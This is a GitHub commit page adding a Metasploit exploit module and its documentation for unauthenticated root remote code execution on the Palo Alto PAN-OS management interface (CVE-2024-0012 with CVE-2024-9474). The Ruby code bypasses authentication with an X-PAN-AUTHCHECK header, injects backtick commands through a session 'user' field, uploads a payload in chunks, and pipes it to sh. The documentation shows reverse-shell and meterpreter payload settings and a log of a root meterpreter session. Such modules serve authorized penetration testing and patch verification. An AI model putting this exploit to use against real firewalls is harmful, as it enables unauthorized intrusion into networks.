-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #19663 from sfewer-r7/CVE-2024-0012
Exploit module for PAN-OS management interface unauth RCE (CVE-2024-0012 + CVE-2024-9474)
- Loading branch information
Showing
2 changed files
with
357 additions
and
0 deletions.
There are no files selected for viewing
113 changes: 113 additions & 0 deletions
113
documentation/modules/exploit/linux/http/panos_management_unauth_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,113 @@ | ||
## Vulnerable Application | ||
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection | ||
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can | ||
execute arbitrary code with root privileges. | ||
|
||
The following versions are affected: | ||
* PAN-OS 11.2 (up to and including 11.2.4-h1) | ||
* PAN-OS 11.1 (up to and including 11.1.5-h1) | ||
* PAN-OS 11.0 (up to and including 11.0.6-h1) | ||
* PAN-OS 10.2 (up to and including 10.2.12-h2) | ||
|
||
## Testing | ||
Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example | ||
`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter | ||
will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup | ||
by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully | ||
run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed | ||
to change this upon logging in for the first time. | ||
|
||
The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the | ||
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`, | ||
and `cmd/unix/reverse_bash`. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
2. `use exploit/linux/http/panos_management_unauth_rce` | ||
3. `set RHOST <TARGET_IP_ADDRESS>` | ||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` | ||
5. `set LHOST eth0` | ||
5. `set LPORT 4444` | ||
6. `check` | ||
7. `exploit` | ||
|
||
## Options | ||
|
||
### WRITABLE_DIR | ||
The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the | ||
payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted. | ||
|
||
## Scenarios | ||
|
||
### Default | ||
|
||
``` | ||
msf6 exploit(linux/http/panos_management_unauth_rce) > show options | ||
Module options (exploit/linux/http/panos_management_unauth_rce): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
VHOST no HTTP server virtual host | ||
WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target. | ||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces | ||
LHOST 192.168.86.42 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Default | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(linux/http/panos_management_unauth_rce) > check | ||
[+] 192.168.86.100:443 - The target is vulnerable. | ||
msf6 exploit(linux/http/panos_management_unauth_rce) > exploit | ||
[*] Started reverse TCP handler on 192.168.86.42:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. | ||
[*] Uploading payload chunk 1 of 7... | ||
[*] Uploading payload chunk 2 of 7... | ||
[*] Uploading payload chunk 3 of 7... | ||
[*] Uploading payload chunk 4 of 7... | ||
[*] Uploading payload chunk 5 of 7... | ||
[*] Uploading payload chunk 6 of 7... | ||
[*] Uploading payload chunk 7 of 7... | ||
[*] Amalgamating payload chunks... | ||
[*] Executing payload... | ||
[*] Sending stage (3045380 bytes) to 192.168.86.100 | ||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000 | ||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > sysinfo | ||
Computer : 192.168.86.100 | ||
OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
244 changes: 244 additions & 0 deletions
244
modules/exploits/linux/http/panos_management_unauth_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,244 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution', | ||
'Description' => %q{ | ||
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection | ||
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can | ||
execute arbitrary code with root privileges. | ||
The following versions are affected: | ||
* PAN-OS 11.2 (up to and including 11.2.4-h1) | ||
* PAN-OS 11.1 (up to and including 11.1.5-h1) | ||
* PAN-OS 11.0 (up to and including 11.0.6-h1) | ||
* PAN-OS 10.2 (up to and including 10.2.12-h2) | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'watchTowr', # Technical Analysis | ||
'sfewer-r7' # Metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2024-0012'], | ||
['CVE', '2024-9474'], | ||
# Vendor Advisories | ||
['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'], | ||
['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'], | ||
# Technical Analysis | ||
['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/'] | ||
], | ||
'DisclosureDate' => '2024-11-18', | ||
'Platform' => [ 'linux', 'unix' ], | ||
'Arch' => [ARCH_CMD], | ||
'Privileged' => true, # Executes as root on Linux | ||
'Targets' => [ | ||
[ | ||
'Default', { | ||
'Payload' => { | ||
# See the comment in the exploit method for how we calculated the payload Space value. | ||
'Space' => 5670, | ||
# We write the payload in chunks, which limits our total space, but is also slow, so we disable nops | ||
# to ensure the payload is as small as possible. | ||
'DisableNops' => true, | ||
'BadChars' => '\\\'"&' | ||
} | ||
} | ||
] | ||
], | ||
# NOTE: Tested with the payloads: | ||
# cmd/linux/http/x64/meterpreter_reverse_tcp | ||
# cmd/linux/http/x64/meterpreter/reverse_tcp | ||
# cmd/unix/reverse_bash | ||
'DefaultOptions' => { | ||
'RPORT' => 443, | ||
'SSL' => true, | ||
# A writable directory on the target for fetch based payloads to write to. | ||
'FETCH_WRITABLE_DIR' => '/var/tmp' | ||
}, | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp']) | ||
] | ||
) | ||
end | ||
|
||
# Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to | ||
# confirm the target is vulnerable. The check routine will delete this file after it has been read. | ||
def check | ||
check_file_name = Rex::Text.rand_text_alphanumeric(4) | ||
|
||
# NOTE: We set dontfail to true, as a check routine cannot fail_with(). | ||
|
||
# return Safe if we fail to trigger the vulnerability and execute a command. | ||
return CheckCode::Safe unless execute_cmd( | ||
"echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}", | ||
dontfail: true | ||
) | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri('unauth', check_file_name) | ||
) | ||
|
||
return CheckCode::Unknown('Connection failed') unless res | ||
|
||
if res.code == 200 && res.body.include?(check_file_name) | ||
|
||
# return Unknown if we fail to trigger the vulnerability a second time. | ||
return CheckCode::Unknown unless execute_cmd( | ||
"rm -f /var/appweb/htdocs/unauth/#{check_file_name}", | ||
dontfail: true | ||
) | ||
|
||
return Exploit::CheckCode::Vulnerable | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
# We can only execute a short command upon each invocation of the command injection vulnerability. To execute | ||
# a Metasploit payload, we first write the payload to a file, but we do the file write in small | ||
# chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each | ||
# chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk. | ||
# We then amalgamate all these chunks together back into a single file, reconstituting the original payload. | ||
# Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being | ||
# executed twice, the payload will delete the single payload file upon the first execution of the payload, | ||
# causing any second attempt to execute the payload to fail. | ||
def exploit | ||
tmp_file_name = Rex::Text.rand_text_alphanumeric(4) | ||
|
||
bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" | ||
|
||
idx = 1 | ||
idx_prefix = '' | ||
|
||
# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and | ||
# 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx | ||
# value. So by default, the chunk size will be 36. However this may change as we write the chunks. | ||
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9, | ||
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get | ||
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ... | ||
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so | ||
# we must recompute the chunk size, to ensure we dont go over the 63 character limit. | ||
chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length | ||
|
||
# We display the progress to the user, so track that with a current and max chunk number. | ||
curr_chunk_number = 1 | ||
|
||
max_chunk_number = (bootstrap_payload.length / chunk_size) + 1 | ||
|
||
while bootstrap_payload && !bootstrap_payload.empty? | ||
|
||
print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...") | ||
|
||
chunk = bootstrap_payload[0, chunk_size] | ||
|
||
bootstrap_payload = bootstrap_payload[chunk_size..] | ||
|
||
execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}") | ||
|
||
idx += 1 | ||
|
||
if idx > 9 | ||
idx = 1 | ||
idx_prefix += '9' | ||
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the | ||
# next chunk must have 1 less character. | ||
chunk_size -= 1 | ||
# If the payload was too big, and we run out of space in the command to write any chunk data, fail. | ||
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the | ||
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less | ||
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which | ||
# would be a max MSF payload size of 5670 characters. Calculated with the command: | ||
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz" | ||
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero? | ||
end | ||
|
||
curr_chunk_number += 1 | ||
end | ||
|
||
print_status('Amalgamating payload chunks...') | ||
|
||
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}") | ||
|
||
print_status('Executing payload...') | ||
|
||
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true) | ||
end | ||
|
||
def execute_cmd(cmd, dontfail: false) | ||
user = "`#{cmd}`" | ||
|
||
# There is a 63 character limit for the command injection. | ||
if user.length >= 64 | ||
fail_with(Failure::BadConfig, 'Command too long for execute_cmd') | ||
end | ||
|
||
vprint_status(user) | ||
|
||
# Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474). | ||
res1 = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"), | ||
'headers' => { | ||
'X-PAN-AUTHCHECK' => 'off' | ||
}, | ||
'keep_cookies' => true, | ||
'vars_post' => { | ||
'user' => user, | ||
'userRole' => 'superuser', | ||
'remoteHost' => '', | ||
'vsys' => 'vsys1' | ||
} | ||
) | ||
|
||
unless res1&.code == 200 | ||
if dontfail | ||
return false | ||
end | ||
|
||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php') | ||
end | ||
|
||
unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' } | ||
fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned') | ||
end | ||
|
||
# Trigger the command injection (CVE-2024-9474). | ||
res2 = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri('index.php', '.js.map'), | ||
'keep_cookies' => true | ||
) | ||
|
||
unless res2&.code == 200 | ||
if dontfail | ||
return false | ||
end | ||
|
||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map') | ||
end | ||
|
||
true | ||
end | ||
end |